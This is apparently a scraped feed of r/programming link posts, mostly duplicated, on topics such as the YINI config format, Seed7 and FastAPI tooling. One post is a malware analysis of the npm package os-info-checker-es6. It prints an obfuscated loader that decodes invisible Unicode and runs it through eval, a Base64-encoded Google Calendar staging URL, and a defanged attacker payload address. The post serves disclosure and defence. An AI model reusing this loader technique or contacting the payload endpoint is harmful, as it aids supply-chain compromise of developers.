YINI (lightweight, human-friendly configuration format) - # is now for Comments, ^ is the New Section Marker - Feedback Welcome!
https://www.reddit.com/r/programming/comments/1ko24pm/yini_lightweight_humanfriendly_configuration/
<!-- SC_OFF -->Hey everyone 👋 Just a quick update for those following the development of YINI — a lightweight, human-friendly configuration file format inspired by INI, TOML, and YAML but with its own clean and consistent rules. After some great community feedback and real-world testing, we've made two key changes to the syntax:
- # is now strictly a comment marker
- Section headers now use ^ instead of # The full Spec can be found here on GitHub:
https://github.com/YINI-lang/YINI-spec Would love to hear what you think about these changes, any other feedback or critic? Anyway, thanks and have a good weekend! —Mr. Seppänen / YINI dev <!-- SC_ON --> submitted by /u/Effective_Tune_6830 (https://www.reddit.com/user/Effective_Tune_6830)
[link] (https://github.com/YINI-lang/YINI-spec) [comments] (https://www.reddit.com/r/programming/comments/1ko24pm/yini_lightweight_humanfriendly_configuration/)
https://www.reddit.com/r/programming/comments/1ko24pm/yini_lightweight_humanfriendly_configuration/
<!-- SC_OFF -->Hey everyone 👋 Just a quick update for those following the development of YINI — a lightweight, human-friendly configuration file format inspired by INI, TOML, and YAML but with its own clean and consistent rules. After some great community feedback and real-world testing, we've made two key changes to the syntax:
- # is now strictly a comment marker
- Section headers now use ^ instead of # The full Spec can be found here on GitHub:
https://github.com/YINI-lang/YINI-spec Would love to hear what you think about these changes, any other feedback or critic? Anyway, thanks and have a good weekend! —Mr. Seppänen / YINI dev <!-- SC_ON --> submitted by /u/Effective_Tune_6830 (https://www.reddit.com/user/Effective_Tune_6830)
[link] (https://github.com/YINI-lang/YINI-spec) [comments] (https://www.reddit.com/r/programming/comments/1ko24pm/yini_lightweight_humanfriendly_configuration/)
Beware the Complexity Merchants
https://www.reddit.com/r/programming/comments/1kny3em/beware_the_complexity_merchants/
submitted by /u/c-digs (https://www.reddit.com/user/c-digs)
[link] (https://chrlschn.dev/blog/2025/05/beware-the-complexity-merchants/) [comments] (https://www.reddit.com/r/programming/comments/1kny3em/beware_the_complexity_merchants/)
https://www.reddit.com/r/programming/comments/1kny3em/beware_the_complexity_merchants/
submitted by /u/c-digs (https://www.reddit.com/user/c-digs)
[link] (https://chrlschn.dev/blog/2025/05/beware-the-complexity-merchants/) [comments] (https://www.reddit.com/r/programming/comments/1kny3em/beware_the_complexity_merchants/)
RouteSage - Auto-generate Docs for your FastAPI projects
https://www.reddit.com/r/programming/comments/1knx0ic/routesage_autogenerate_docs_for_your_fastapi/
<!-- SC_OFF -->I have just built RouteSage as one of my side project. Motivation behind building this package was due to the tiring process of manually creating documentation for FastAPI routes. So, I thought of building this and this is my first vibe-coded project. My idea is to set this as an open source project so that it can be expanded to other frameworks as well and more new features can be also added. Feel free to contribute to this project. Also this is my first open source project as a maintainer so your suggestions and tips would be much appreciated. This is my first project I’m showcasing on Reddit. Your suggestions and validations are welcomed. <!-- SC_ON --> submitted by /u/Creative-Shoulder472 (https://www.reddit.com/user/Creative-Shoulder472)
[link] (https://github.com/dijo-d/RouteSage) [comments] (https://www.reddit.com/r/programming/comments/1knx0ic/routesage_autogenerate_docs_for_your_fastapi/)
https://www.reddit.com/r/programming/comments/1knx0ic/routesage_autogenerate_docs_for_your_fastapi/
<!-- SC_OFF -->I have just built RouteSage as one of my side project. Motivation behind building this package was due to the tiring process of manually creating documentation for FastAPI routes. So, I thought of building this and this is my first vibe-coded project. My idea is to set this as an open source project so that it can be expanded to other frameworks as well and more new features can be also added. Feel free to contribute to this project. Also this is my first open source project as a maintainer so your suggestions and tips would be much appreciated. This is my first project I’m showcasing on Reddit. Your suggestions and validations are welcomed. <!-- SC_ON --> submitted by /u/Creative-Shoulder472 (https://www.reddit.com/user/Creative-Shoulder472)
[link] (https://github.com/dijo-d/RouteSage) [comments] (https://www.reddit.com/r/programming/comments/1knx0ic/routesage_autogenerate_docs_for_your_fastapi/)
.NET Digest #7
https://www.reddit.com/r/programming/comments/1knyb3h/net_digest_7/
submitted by /u/Xadartt (https://www.reddit.com/user/Xadartt)
[link] (https://pvs-studio.com/en/blog/posts/csharp/1250/) [comments] (https://www.reddit.com/r/programming/comments/1knyb3h/net_digest_7/)
https://www.reddit.com/r/programming/comments/1knyb3h/net_digest_7/
submitted by /u/Xadartt (https://www.reddit.com/user/Xadartt)
[link] (https://pvs-studio.com/en/blog/posts/csharp/1250/) [comments] (https://www.reddit.com/r/programming/comments/1knyb3h/net_digest_7/)
Ground control to Major Trial - Abusing trials with OSS
https://www.reddit.com/r/programming/comments/1ko23gl/ground_control_to_major_trial_abusing_trials_with/
submitted by /u/SekYo (https://www.reddit.com/user/SekYo)
[link] (https://virtualize.sh/blog/ground-control-to-major-trial/) [comments] (https://www.reddit.com/r/programming/comments/1ko23gl/ground_control_to_major_trial_abusing_trials_with/)
https://www.reddit.com/r/programming/comments/1ko23gl/ground_control_to_major_trial_abusing_trials_with/
submitted by /u/SekYo (https://www.reddit.com/user/SekYo)
[link] (https://virtualize.sh/blog/ground-control-to-major-trial/) [comments] (https://www.reddit.com/r/programming/comments/1ko23gl/ground_control_to_major_trial_abusing_trials_with/)
Insane malware hidden inside NPM with invisible Unicode and Google Calendar invites!
https://www.reddit.com/r/programming/comments/1ko19vq/insane_malware_hidden_inside_npm_with_invisible/
<!-- SC_OFF -->I’ve shared a lot of malware stories—some with silly hiding techniques. But this? This is hands down the most beautiful piece of obfuscation I’ve ever come across. I had to share it. I've made a video, but also below I decided to do a short write-up for those that don't want to look at my face for 6 minutes. The Discovery: A Suspicious Package We recently uncovered a malicious NPM package called os-info-checker-es6 (still live at the time of writing). It combines Unicode obfuscation, Google Calendar abuse, and clever staging logic to mask its payload. The first sign of trouble was in version 1.0.7, which contained a sketchy eval function executing a Base64-encoded payload. Here’s the snippet: const fs = require('fs'); const os = require('os'); const { decode } = require(getPath()); const decodedBytes = decode('|󠅉󠄢󠄩󠅥󠅓󠄢󠄩󠅣󠅊󠅃󠄥󠅣󠅒󠄢󠅓󠅟󠄺󠄠󠄾󠅟󠅊󠅇󠄾󠅢󠄺󠅩󠅛󠄧󠄳󠅗󠄭󠄭'); const decodedBuffer = Buffer.from(decodedBytes); const decodedString = decodedBuffer.toString('utf-8'); eval(atob(decodedString)); fs.writeFileSync('run.txt', atob(decodedString)); function getPath() { if (os.platform() === 'win32') { return `./src/index_${os.platform()}_${os.arch()}.node`; } else { return `./src/index_${os.platform()}.node`; } } At first glance, it looked like it was just decoding a single character—the |. But something didn’t add up. Unicode Sorcery What was really going on? The string was filled with invisible Unicode Private Use Area (PUA) characters. When opened in a Unicode-aware text editor, the decode line actually looked something like this: const decodedBytes = decode('|󠅉...󠄭[X][X][X][X]...'); Those [X] placeholders? They're PUA characters defined within the package itself, rendering them invisible to the eye but fully functional in code. And what did this hidden payload deliver? console.log('Check'); Yep. That’s it. A total anticlimax. But we knew something more was brewing. So we waited. Two Months Later… Version 1.0.8 dropped. Same Unicode trick—but a much longer payload. This time, it wasn’t just logging to the console. One particularly interesting snippet fetched data from a Base64-encoded URL: const mygofvzqxk = async () => { await krswqebjtt( atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), async (err, link) => { if (err) { console.log('cjnilxo'); await new Promise(r => setTimeout(r, 1000)); return mygofvzqxk(); } } ); }; Once decoded, the string revealed: https://calendar.app.google/t56nfUUcugH9ZUkx9 Yes, a Google Calendar link—safe to visit. The event title itself was another Base64-encoded URL leading to the final payload location: http://140[.]82.54.223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D (DO NOT visit that second one.) The Puzzle Comes Together At this final endpoint was the malicious payload—but by the time we got to it, the URL was dormant. Most likely, the attackers were still preparing the final stage. At this point, we started noticing the package being included in dependencies for other projects. That was a red flag—we couldn’t afford to wait any longer. It was time to report and get it taken down. This was one of the most fascinating and creative obfuscation techniques I’ve seen: Absolute A+ for stealth, even if the end result wasn’t world-ending malware (yet). So much fun Also a more detailed article is here -> https://www.aikido.dev/blog/youre-invited-delivering-malware-via-google-calendar-invites-and-puas NPM package link -> https://www.npmjs.com/package/os-info-checker-es6 <!-- SC_ON --> submitted by /u/Advocatemack (https://www.reddit.com/user/Advocatemack)
[link] (https://www.youtube.com/watch?v=N8dHa2b-I5A) [comments] (https://www.reddit.com/r/programming/comments/1ko19vq/insane_malware_hidden_inside_npm_with_invisible/)
https://www.reddit.com/r/programming/comments/1ko19vq/insane_malware_hidden_inside_npm_with_invisible/
<!-- SC_OFF -->I’ve shared a lot of malware stories—some with silly hiding techniques. But this? This is hands down the most beautiful piece of obfuscation I’ve ever come across. I had to share it. I've made a video, but also below I decided to do a short write-up for those that don't want to look at my face for 6 minutes. The Discovery: A Suspicious Package We recently uncovered a malicious NPM package called os-info-checker-es6 (still live at the time of writing). It combines Unicode obfuscation, Google Calendar abuse, and clever staging logic to mask its payload. The first sign of trouble was in version 1.0.7, which contained a sketchy eval function executing a Base64-encoded payload. Here’s the snippet: const fs = require('fs'); const os = require('os'); const { decode } = require(getPath()); const decodedBytes = decode('|󠅉󠄢󠄩󠅥󠅓󠄢󠄩󠅣󠅊󠅃󠄥󠅣󠅒󠄢󠅓󠅟󠄺󠄠󠄾󠅟󠅊󠅇󠄾󠅢󠄺󠅩󠅛󠄧󠄳󠅗󠄭󠄭'); const decodedBuffer = Buffer.from(decodedBytes); const decodedString = decodedBuffer.toString('utf-8'); eval(atob(decodedString)); fs.writeFileSync('run.txt', atob(decodedString)); function getPath() { if (os.platform() === 'win32') { return `./src/index_${os.platform()}_${os.arch()}.node`; } else { return `./src/index_${os.platform()}.node`; } } At first glance, it looked like it was just decoding a single character—the |. But something didn’t add up. Unicode Sorcery What was really going on? The string was filled with invisible Unicode Private Use Area (PUA) characters. When opened in a Unicode-aware text editor, the decode line actually looked something like this: const decodedBytes = decode('|󠅉...󠄭[X][X][X][X]...'); Those [X] placeholders? They're PUA characters defined within the package itself, rendering them invisible to the eye but fully functional in code. And what did this hidden payload deliver? console.log('Check'); Yep. That’s it. A total anticlimax. But we knew something more was brewing. So we waited. Two Months Later… Version 1.0.8 dropped. Same Unicode trick—but a much longer payload. This time, it wasn’t just logging to the console. One particularly interesting snippet fetched data from a Base64-encoded URL: const mygofvzqxk = async () => { await krswqebjtt( atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), async (err, link) => { if (err) { console.log('cjnilxo'); await new Promise(r => setTimeout(r, 1000)); return mygofvzqxk(); } } ); }; Once decoded, the string revealed: https://calendar.app.google/t56nfUUcugH9ZUkx9 Yes, a Google Calendar link—safe to visit. The event title itself was another Base64-encoded URL leading to the final payload location: http://140[.]82.54.223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D (DO NOT visit that second one.) The Puzzle Comes Together At this final endpoint was the malicious payload—but by the time we got to it, the URL was dormant. Most likely, the attackers were still preparing the final stage. At this point, we started noticing the package being included in dependencies for other projects. That was a red flag—we couldn’t afford to wait any longer. It was time to report and get it taken down. This was one of the most fascinating and creative obfuscation techniques I’ve seen: Absolute A+ for stealth, even if the end result wasn’t world-ending malware (yet). So much fun Also a more detailed article is here -> https://www.aikido.dev/blog/youre-invited-delivering-malware-via-google-calendar-invites-and-puas NPM package link -> https://www.npmjs.com/package/os-info-checker-es6 <!-- SC_ON --> submitted by /u/Advocatemack (https://www.reddit.com/user/Advocatemack)
[link] (https://www.youtube.com/watch?v=N8dHa2b-I5A) [comments] (https://www.reddit.com/r/programming/comments/1ko19vq/insane_malware_hidden_inside_npm_with_invisible/)
Detecting malicious Unicode
https://www.reddit.com/r/programming/comments/1ko1bxx/detecting_malicious_unicode/
submitted by /u/cake-day-on-feb-29 (https://www.reddit.com/user/cake-day-on-feb-29)
[link] (https://daniel.haxx.se/blog/2025/05/16/detecting-malicious-unicode/) [comments] (https://www.reddit.com/r/programming/comments/1ko1bxx/detecting_malicious_unicode/)
https://www.reddit.com/r/programming/comments/1ko1bxx/detecting_malicious_unicode/
submitted by /u/cake-day-on-feb-29 (https://www.reddit.com/user/cake-day-on-feb-29)
[link] (https://daniel.haxx.se/blog/2025/05/16/detecting-malicious-unicode/) [comments] (https://www.reddit.com/r/programming/comments/1ko1bxx/detecting_malicious_unicode/)
Interact With the Docker Engine in Go
https://www.reddit.com/r/programming/comments/1ko0zfw/interact_with_the_docker_engine_in_go/
submitted by /u/SoftwareCitadel (https://www.reddit.com/user/SoftwareCitadel)
[link] (https://www.alexisbouchez.com/blog/docker-engine-in-go) [comments] (https://www.reddit.com/r/programming/comments/1ko0zfw/interact_with_the_docker_engine_in_go/)
https://www.reddit.com/r/programming/comments/1ko0zfw/interact_with_the_docker_engine_in_go/
submitted by /u/SoftwareCitadel (https://www.reddit.com/user/SoftwareCitadel)
[link] (https://www.alexisbouchez.com/blog/docker-engine-in-go) [comments] (https://www.reddit.com/r/programming/comments/1ko0zfw/interact_with_the_docker_engine_in_go/)
Data Related Non-Functional Requirements
https://www.reddit.com/r/programming/comments/1ko86u3/data_related_nonfunctional_requirements/
submitted by /u/trolleid (https://www.reddit.com/user/trolleid)
[link] (https://lukasniessen.medium.com/brief-reminder-7d82406908a3) [comments] (https://www.reddit.com/r/programming/comments/1ko86u3/data_related_nonfunctional_requirements/)
https://www.reddit.com/r/programming/comments/1ko86u3/data_related_nonfunctional_requirements/
submitted by /u/trolleid (https://www.reddit.com/user/trolleid)
[link] (https://lukasniessen.medium.com/brief-reminder-7d82406908a3) [comments] (https://www.reddit.com/r/programming/comments/1ko86u3/data_related_nonfunctional_requirements/)
Deploying Free LLM APIs Offline on Your Local Machine
https://www.reddit.com/r/programming/comments/1koen5o/deploying_free_llm_apis_offline_on_your_local/
submitted by /u/ElyeProj (https://www.reddit.com/user/ElyeProj)
[link] (https://medium.com/tech-ai-chat/deploying-llm-apis-offline-on-your-local-machine-a8a4b189d39d?sk=3599805d6f5491dc3824aa14e64f7c88) [comments] (https://www.reddit.com/r/programming/comments/1koen5o/deploying_free_llm_apis_offline_on_your_local/)
https://www.reddit.com/r/programming/comments/1koen5o/deploying_free_llm_apis_offline_on_your_local/
submitted by /u/ElyeProj (https://www.reddit.com/user/ElyeProj)
[link] (https://medium.com/tech-ai-chat/deploying-llm-apis-offline-on-your-local-machine-a8a4b189d39d?sk=3599805d6f5491dc3824aa14e64f7c88) [comments] (https://www.reddit.com/r/programming/comments/1koen5o/deploying_free_llm_apis_offline_on_your_local/)
Better Java Builds with the Mill Build Tool (GeeCon Krakow 2025)
https://www.reddit.com/r/programming/comments/1koj1wm/better_java_builds_with_the_mill_build_tool/
submitted by /u/lihaoyi (https://www.reddit.com/user/lihaoyi)
[link] (https://www.youtube.com/watch?v=3NllMpXMBT8) [comments] (https://www.reddit.com/r/programming/comments/1koj1wm/better_java_builds_with_the_mill_build_tool/)
https://www.reddit.com/r/programming/comments/1koj1wm/better_java_builds_with_the_mill_build_tool/
submitted by /u/lihaoyi (https://www.reddit.com/user/lihaoyi)
[link] (https://www.youtube.com/watch?v=3NllMpXMBT8) [comments] (https://www.reddit.com/r/programming/comments/1koj1wm/better_java_builds_with_the_mill_build_tool/)
Stop Building AI Tools Backwards
https://www.reddit.com/r/programming/comments/1kok1qx/stop_building_ai_tools_backwards/
submitted by /u/hazelweakly (https://www.reddit.com/user/hazelweakly)
[link] (https://hazelweakly.me/blog/stop-building-ai-tools-backwards/) [comments] (https://www.reddit.com/r/programming/comments/1kok1qx/stop_building_ai_tools_backwards/)
https://www.reddit.com/r/programming/comments/1kok1qx/stop_building_ai_tools_backwards/
submitted by /u/hazelweakly (https://www.reddit.com/user/hazelweakly)
[link] (https://hazelweakly.me/blog/stop-building-ai-tools-backwards/) [comments] (https://www.reddit.com/r/programming/comments/1kok1qx/stop_building_ai_tools_backwards/)
Is software architecture set in stone?
https://www.reddit.com/r/programming/comments/1kok4oe/is_software_architecture_set_in_stone/
submitted by /u/ConcentrateOk8967 (https://www.reddit.com/user/ConcentrateOk8967)
[link] (https://youtu.be/ewbaJVrATs4) [comments] (https://www.reddit.com/r/programming/comments/1kok4oe/is_software_architecture_set_in_stone/)
https://www.reddit.com/r/programming/comments/1kok4oe/is_software_architecture_set_in_stone/
submitted by /u/ConcentrateOk8967 (https://www.reddit.com/user/ConcentrateOk8967)
[link] (https://youtu.be/ewbaJVrATs4) [comments] (https://www.reddit.com/r/programming/comments/1kok4oe/is_software_architecture_set_in_stone/)
I FAILED Multiple Coding Interviews Until I Learned THIS
https://www.reddit.com/r/programming/comments/1kol60n/i_failed_multiple_coding_interviews_until_i/
submitted by /u/ssukhpinder (https://www.reddit.com/user/ssukhpinder)
[link] (https://medium.com/c-sharp-programming/i-failed-multiple-coding-interviews-until-i-learned-this-3d0863a728e6?sk=6079c822b0de31862a32e57dd9b9f0f3) [comments] (https://www.reddit.com/r/programming/comments/1kol60n/i_failed_multiple_coding_interviews_until_i/)
https://www.reddit.com/r/programming/comments/1kol60n/i_failed_multiple_coding_interviews_until_i/
submitted by /u/ssukhpinder (https://www.reddit.com/user/ssukhpinder)
[link] (https://medium.com/c-sharp-programming/i-failed-multiple-coding-interviews-until-i-learned-this-3d0863a728e6?sk=6079c822b0de31862a32e57dd9b9f0f3) [comments] (https://www.reddit.com/r/programming/comments/1kol60n/i_failed_multiple_coding_interviews_until_i/)
I built a fun website to kill time when you are bored
https://www.reddit.com/r/programming/comments/1kole3x/i_built_a_fun_website_to_kill_time_when_you_are/
<!-- SC_OFF -->I built a simple and fun website that is aimed to kill time when you are completely bored and don't know what to do. Instead of scrolling through insta reels and youtube shorts for 5 hours non stop, you can check out this website and have fun while you are at it. <!-- SC_ON --> submitted by /u/Temporary-Weight4630 (https://www.reddit.com/user/Temporary-Weight4630)
[link] (https://randomfungenerator.com/) [comments] (https://www.reddit.com/r/programming/comments/1kole3x/i_built_a_fun_website_to_kill_time_when_you_are/)
https://www.reddit.com/r/programming/comments/1kole3x/i_built_a_fun_website_to_kill_time_when_you_are/
<!-- SC_OFF -->I built a simple and fun website that is aimed to kill time when you are completely bored and don't know what to do. Instead of scrolling through insta reels and youtube shorts for 5 hours non stop, you can check out this website and have fun while you are at it. <!-- SC_ON --> submitted by /u/Temporary-Weight4630 (https://www.reddit.com/user/Temporary-Weight4630)
[link] (https://randomfungenerator.com/) [comments] (https://www.reddit.com/r/programming/comments/1kole3x/i_built_a_fun_website_to_kill_time_when_you_are/)
I created a train traffic simulator
https://www.reddit.com/r/programming/comments/1kolir1/i_created_a_train_traffic_simulator/
submitted by /u/Feeling-Builder7919 (https://www.reddit.com/user/Feeling-Builder7919)
[link] (https://youtu.be/YNvc6edbpy4) [comments] (https://www.reddit.com/r/programming/comments/1kolir1/i_created_a_train_traffic_simulator/)
https://www.reddit.com/r/programming/comments/1kolir1/i_created_a_train_traffic_simulator/
submitted by /u/Feeling-Builder7919 (https://www.reddit.com/user/Feeling-Builder7919)
[link] (https://youtu.be/YNvc6edbpy4) [comments] (https://www.reddit.com/r/programming/comments/1kolir1/i_created_a_train_traffic_simulator/)
The 3 Mental Models That Helped Me Actually Understand Cloud Architecture (Not Just Pass Exams)
https://www.reddit.com/r/programming/comments/1konhj0/the_3_mental_models_that_helped_me_actually/
<!-- SC_OFF -->Hey guys, tried something new. Do let me know your thoughts :) <!-- SC_ON --> submitted by /u/pseudonym24 (https://www.reddit.com/user/pseudonym24)
[link] (https://medium.com/@nageshrajcodes/the-3-mental-models-that-helped-me-actually-understand-cloud-architecture-not-just-pass-exams-6a1a0ffe99d7?sk=0d8e4aa80fa46b099f3cf7addb091bc5) [comments] (https://www.reddit.com/r/programming/comments/1konhj0/the_3_mental_models_that_helped_me_actually/)
https://www.reddit.com/r/programming/comments/1konhj0/the_3_mental_models_that_helped_me_actually/
<!-- SC_OFF -->Hey guys, tried something new. Do let me know your thoughts :) <!-- SC_ON --> submitted by /u/pseudonym24 (https://www.reddit.com/user/pseudonym24)
[link] (https://medium.com/@nageshrajcodes/the-3-mental-models-that-helped-me-actually-understand-cloud-architecture-not-just-pass-exams-6a1a0ffe99d7?sk=0d8e4aa80fa46b099f3cf7addb091bc5) [comments] (https://www.reddit.com/r/programming/comments/1konhj0/the_3_mental_models_that_helped_me_actually/)
Deploy Angular or React apps to Cloudflare Pages using GitHub Actions
https://www.reddit.com/r/programming/comments/1kons4r/deploy_angular_or_react_apps_to_cloudflare_pages/
<!-- SC_OFF -->I just published a quick guide that walks through deploying a front-end app (Angular or React) to Cloudflare Pages using GitHub Actions for CI/CD. If you're looking for a simpler alternative to S3 + CloudFront or want to set up blazing-fast, globally distributed static hosting, this might help. <!-- SC_ON --> submitted by /u/prateekjaindev (https://www.reddit.com/user/prateekjaindev)
[link] (https://medium.com/@prateekjain.dev/deploy-angular-react-apps-on-cloudflare-pages-9212e91a55d5) [comments] (https://www.reddit.com/r/programming/comments/1kons4r/deploy_angular_or_react_apps_to_cloudflare_pages/)
https://www.reddit.com/r/programming/comments/1kons4r/deploy_angular_or_react_apps_to_cloudflare_pages/
<!-- SC_OFF -->I just published a quick guide that walks through deploying a front-end app (Angular or React) to Cloudflare Pages using GitHub Actions for CI/CD. If you're looking for a simpler alternative to S3 + CloudFront or want to set up blazing-fast, globally distributed static hosting, this might help. <!-- SC_ON --> submitted by /u/prateekjaindev (https://www.reddit.com/user/prateekjaindev)
[link] (https://medium.com/@prateekjain.dev/deploy-angular-react-apps-on-cloudflare-pages-9212e91a55d5) [comments] (https://www.reddit.com/r/programming/comments/1kons4r/deploy_angular_or_react_apps_to_cloudflare_pages/)
Seed7: a programming language I've been working on for decades
https://www.reddit.com/r/programming/comments/1kopkmf/seed7_a_programming_language_ive_been_working_on/
<!-- SC_OFF -->Seed7 is based on ideas from my diploma and doctoral theses about an extensible programming language (1984 and 1986). In 1989 development began on an interpreter and in 2005 the project was released as open source. Since then it is improved on a regular basis. Seed7 is about readability (https://thomasmertes.github.io/Seed7Home/faq.htm#readability), portability (https://thomasmertes.github.io/Seed7Home/faq.htm#portable), performance (https://thomasmertes.github.io/Seed7Home/scrshots/s7c.htm) and memory safety (https://thomasmertes.github.io/Seed7Home/faq.htm#memory_safety). There is an automatic memory management (https://thomasmertes.github.io/Seed7Home/faq.htm#garbage_collection), but there is no garbage collection process, that interrupts normal processing. The Seed7 homepage (https://thomasmertes.github.io/Seed7Home) contains the language documentation. The source code is at GitHub (https://github.com/ThomasMertes/seed7). Questions that are not in the FAQ (https://thomasmertes.github.io/Seed7Home/faq.htm) can be asked at r/seed7 (https://www.reddit.com/r/seed7/). Some programs written in Seed7 are: make7 (https://thomasmertes.github.io/Seed7Home/scrshots/make7.htm): a make utility. bas7 (https://thomasmertes.github.io/Seed7Home/scrshots/bas7.htm): a BASIC interpreter. pv7 (https://thomasmertes.github.io/Seed7Home/scrshots/pv7.htm): a Picture Viewer for BMP, GIF, ICO, JPEG, PBM, PGM, PNG, PPM and TIFF files. tar7 (https://thomasmertes.github.io/Seed7Home/scrshots/tar7.htm): a tar archiving utility. ftp7 (https://thomasmertes.github.io/Seed7Home/scrshots/ftp7.htm): an FTP Internet file transfer program. comanche (https://thomasmertes.github.io/Seed7Home/scrshots/comanche.htm): a simple web server for static HTML pages and CGI programs. Screenshots of Seed7 programs can be found here (https://thomasmertes.github.io/Seed7Home/scrshots/index.htm) and there is a demo page (https://thomasmertes.github.io/Seed7Home/demo.htm) with Seed7 programs, which can be executed in the browser. These programs have been compiled to JavaScript / WebAssembly. I recently released a new version (https://www.reddit.com/r/seed7/comments/1kona5g/seed7_version_20250516_released_on_github_and_sf/) that adds support for JSON serialization / deserialization and introduces a seed7-mode for Emacs (https://github.com/pierre-rouleau/seed7-mode/tree/main). Please let me know what you think, and consider starring the project on GitHub (https://github.com/ThomasMertes/seed7), thanks! <!-- SC_ON --> submitted by /u/ThomasMertes (https://www.reddit.com/user/ThomasMertes)
[link] (https://thomasmertes.github.io/Seed7Home) [comments] (https://www.reddit.com/r/programming/comments/1kopkmf/seed7_a_programming_language_ive_been_working_on/)
https://www.reddit.com/r/programming/comments/1kopkmf/seed7_a_programming_language_ive_been_working_on/
<!-- SC_OFF -->Seed7 is based on ideas from my diploma and doctoral theses about an extensible programming language (1984 and 1986). In 1989 development began on an interpreter and in 2005 the project was released as open source. Since then it is improved on a regular basis. Seed7 is about readability (https://thomasmertes.github.io/Seed7Home/faq.htm#readability), portability (https://thomasmertes.github.io/Seed7Home/faq.htm#portable), performance (https://thomasmertes.github.io/Seed7Home/scrshots/s7c.htm) and memory safety (https://thomasmertes.github.io/Seed7Home/faq.htm#memory_safety). There is an automatic memory management (https://thomasmertes.github.io/Seed7Home/faq.htm#garbage_collection), but there is no garbage collection process, that interrupts normal processing. The Seed7 homepage (https://thomasmertes.github.io/Seed7Home) contains the language documentation. The source code is at GitHub (https://github.com/ThomasMertes/seed7). Questions that are not in the FAQ (https://thomasmertes.github.io/Seed7Home/faq.htm) can be asked at r/seed7 (https://www.reddit.com/r/seed7/). Some programs written in Seed7 are: make7 (https://thomasmertes.github.io/Seed7Home/scrshots/make7.htm): a make utility. bas7 (https://thomasmertes.github.io/Seed7Home/scrshots/bas7.htm): a BASIC interpreter. pv7 (https://thomasmertes.github.io/Seed7Home/scrshots/pv7.htm): a Picture Viewer for BMP, GIF, ICO, JPEG, PBM, PGM, PNG, PPM and TIFF files. tar7 (https://thomasmertes.github.io/Seed7Home/scrshots/tar7.htm): a tar archiving utility. ftp7 (https://thomasmertes.github.io/Seed7Home/scrshots/ftp7.htm): an FTP Internet file transfer program. comanche (https://thomasmertes.github.io/Seed7Home/scrshots/comanche.htm): a simple web server for static HTML pages and CGI programs. Screenshots of Seed7 programs can be found here (https://thomasmertes.github.io/Seed7Home/scrshots/index.htm) and there is a demo page (https://thomasmertes.github.io/Seed7Home/demo.htm) with Seed7 programs, which can be executed in the browser. These programs have been compiled to JavaScript / WebAssembly. I recently released a new version (https://www.reddit.com/r/seed7/comments/1kona5g/seed7_version_20250516_released_on_github_and_sf/) that adds support for JSON serialization / deserialization and introduces a seed7-mode for Emacs (https://github.com/pierre-rouleau/seed7-mode/tree/main). Please let me know what you think, and consider starring the project on GitHub (https://github.com/ThomasMertes/seed7), thanks! <!-- SC_ON --> submitted by /u/ThomasMertes (https://www.reddit.com/user/ThomasMertes)
[link] (https://thomasmertes.github.io/Seed7Home) [comments] (https://www.reddit.com/r/programming/comments/1kopkmf/seed7_a_programming_language_ive_been_working_on/)
Static types are for perfectionists
https://www.reddit.com/r/programming/comments/1kopuy6/static_types_are_for_perfectionists/
submitted by /u/BrightCandle (https://www.reddit.com/user/BrightCandle)
[link] (https://mmapped.blog/posts/38-static-types-perfectionism) [comments] (https://www.reddit.com/r/programming/comments/1kopuy6/static_types_are_for_perfectionists/)
https://www.reddit.com/r/programming/comments/1kopuy6/static_types_are_for_perfectionists/
submitted by /u/BrightCandle (https://www.reddit.com/user/BrightCandle)
[link] (https://mmapped.blog/posts/38-static-types-perfectionism) [comments] (https://www.reddit.com/r/programming/comments/1kopuy6/static_types_are_for_perfectionists/)